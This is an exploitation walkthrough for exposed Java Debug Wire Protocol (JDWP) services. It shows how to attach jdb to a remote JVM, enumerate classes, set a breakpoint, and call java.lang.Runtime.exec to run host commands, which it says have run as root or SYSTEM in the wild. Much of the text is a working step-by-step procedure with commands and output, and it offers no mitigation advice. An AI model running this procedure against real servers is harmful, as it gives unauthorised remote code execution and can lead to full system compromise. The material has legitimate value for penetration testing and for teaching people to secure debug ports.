JDWP Arbitrary Java Code Execution Exploitation

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Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for

communication between a debugger and a Java Virtual Machine (JVM) as outlined in

the Java Platform Debugger Architecture. It is often used to facilitate remote

debugging of a JVM over TCP/IP and can be identified by the initial protocol

handshake ascii string "JDWP-Handshake", sent first by the client and responded

to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in

Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable

services. Typically this service runs on TCP port 8000 however it can be found

to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on

servers running Java services. It is possible to use this utility to exploit

remote JVM's and execute arbitrary Java code. An example shown here outlines

how to leverage this weakness to execute arbitrary host OS commands in the

context of the JVM.

$ jdb -attach x.x.x.x:8000

Set uncaught java.lang.Throwable

Set deferred uncaught java.lang.Throwable

Initializing jdb ...

>

Information leaks can be leveraged to determine details about the remote OS

platform and Java installation configuration through the "classpath" command.

> classpath

base directory: C:\Windows\system32

classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]

bootclasspath: [ ** MASKED ** list of JRE paths ]

>

jdb is capable of performing remote object creation and method invokation from

within the CLI using the "print" "dump" and "eval" commands with the "new"

keyword. To determine the classes and methods available use the "classes" and

then "methods" on the corrosponding class.

> classes

...

java.lang.Runtime

...

> methods java.lang.Runtime

...

java.lang.Runtime exec(java.lang.String[])

...

It is often necessary to set the JDB context to be within a suspended thread or

breakpoint before attempting to create a new remote object class. Using the

"trace go methods" function can be used to identify a candidate for a breakpoint

and then "stop in your.random.class.method()" to halt the execution of a running

thread. When the execution is halted you can use "print new" to create your

class and invoke methods such as in the following example.

Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0

threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")

new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"

threadname[1] cont

>

Exploitation success will be determined from the output of the JDB process as

functions returning "null" or errors about "unsuspended thread state" would

indicate that exploitation was unsuccessful, however in the example above we can

see that the java created a new object "java.lang.ProcessImpl@918502" indicating

the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting

to "java.lang.Runtime.getRuntime().exec()" however see the method / class

enumeration when attempting to exploit this flaw.

Your java will be executed in the context of the running JVM application, this

has been identified on services running as both "root" (*nix) and "SYSTEM"

(win32) in the wild.